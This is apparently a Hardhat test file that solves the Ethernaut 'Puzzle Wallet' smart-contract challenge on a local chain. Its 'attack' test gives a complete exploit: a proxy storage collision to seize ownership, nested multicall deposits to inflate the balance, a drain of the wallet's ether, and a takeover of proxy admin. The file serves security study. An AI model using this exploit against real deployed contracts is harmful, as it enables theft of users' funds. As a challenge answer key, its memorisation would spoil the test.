generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 0
/
24-PuzzleWallet.test.ts
150 lines (122 loc) · 4.47 KB
/
24-PuzzleWallet.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { Contract, ContractFactory } from 'ethers';
import { ethers } from 'hardhat';
const { provider, utils } = ethers;
const MAX_BALANCE = utils.parseEther('100');
describe('PuzzleWallet', () => {
let owner: SignerWithAddress;
let admin: SignerWithAddress;
let friend1: SignerWithAddress;
let friend2: SignerWithAddress;
let friend3: SignerWithAddress;
let attacker: SignerWithAddress;
let contract: Contract;
let PuzzleWalletFactory: ContractFactory;
let PuzzleProxyFactory: ContractFactory;
before(async () => {
[attacker, owner, admin, friend1, friend2, friend3] =
await ethers.getSigners();
[PuzzleWalletFactory, PuzzleProxyFactory] = await Promise.all([
ethers.getContractFactory('PuzzleWallet'),
ethers.getContractFactory('PuzzleProxy'),
]);
// 1 - deploy implementation
const puzzleWallet = await PuzzleWalletFactory.connect(owner).deploy();
await puzzleWallet.deployed();
const iface = new ethers.utils.Interface(['function init(uint256)']);
const data = iface.encodeFunctionData('init', [MAX_BALANCE]);
// 2 - deploy proxy
const puzzleProxy = await PuzzleProxyFactory.connect(owner).deploy(
admin.address,
puzzleWallet.address,
data
);
await puzzleProxy.deployed();
// 3 - whitelist users
contract = PuzzleWalletFactory.attach(puzzleProxy.address);
let [tx1, tx2, tx3] = await Promise.all([
contract.connect(owner).addToWhitelist(friend1.address),
contract.connect(owner).addToWhitelist(friend2.address),
contract.connect(owner).addToWhitelist(friend3.address),
]);
await Promise.all([tx1.wait(), tx2.wait(), tx3.wait()]);
/// 4 - deposit ethers to wallet
[tx1, tx2, tx3] = await Promise.all([
contract.connect(friend1).deposit({
value: utils.parseEther('1'),
}),
contract.connect(friend2).deposit({
value: utils.parseEther('5'),
}),
contract.connect(friend3).deposit({
value: utils.parseEther('10'),
}),
]);
await Promise.all([tx1.wait(), tx2.wait(), tx3.wait()]);
});
it('attack', async () => {
const proxy = PuzzleProxyFactory.attach(contract.address);
const implementation = PuzzleWalletFactory.attach(contract.address);
let tx;
// 1 - Propose new admin -> overwrite owner on puzzle wallet
expect(await implementation.owner()).to.not.equal(attacker.address);
tx = await proxy.proposeNewAdmin(attacker.address);
await tx.wait();
expect(await implementation.owner()).to.equal(attacker.address);
// 2 - Add attacker to whitelist
expect(await implementation.whitelisted(attacker.address)).to.be.false;
tx = await implementation.addToWhitelist(attacker.address);
await tx.wait();
expect(await implementation.whitelisted(attacker.address)).to.be.true;
// 3 - Multicall of multicalls
const iface = new ethers.utils.Interface([
'function multicall(bytes[] calldata)',
'function deposit()',
]);
const depositData = iface.encodeFunctionData('deposit');
const multicallData = iface.encodeFunctionData('multicall', [
[depositData],
]);
tx = await implementation
.connect(attacker)
.multicall(
[
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
multicallData,
],
{
value: utils.parseEther('1'),
}
);
await tx.wait();
const attackerBalance = await implementation.balances(attacker.address);
const contractBalance = await provider.getBalance(implementation.address);
expect(attackerBalance).to.equal(contractBalance);
// 4 - Get all contract balance
tx = await implementation
.connect(attacker)
.execute(attacker.address, attackerBalance, depositData);
await tx.wait();
expect(await provider.getBalance(implementation.address)).to.equal(0);
// 5 - setMaxBalance to attacker's address
tx = await implementation.connect(attacker).setMaxBalance(attacker.address);
await tx.wait();
expect(await proxy.admin()).to.equal(attacker.address);
});
});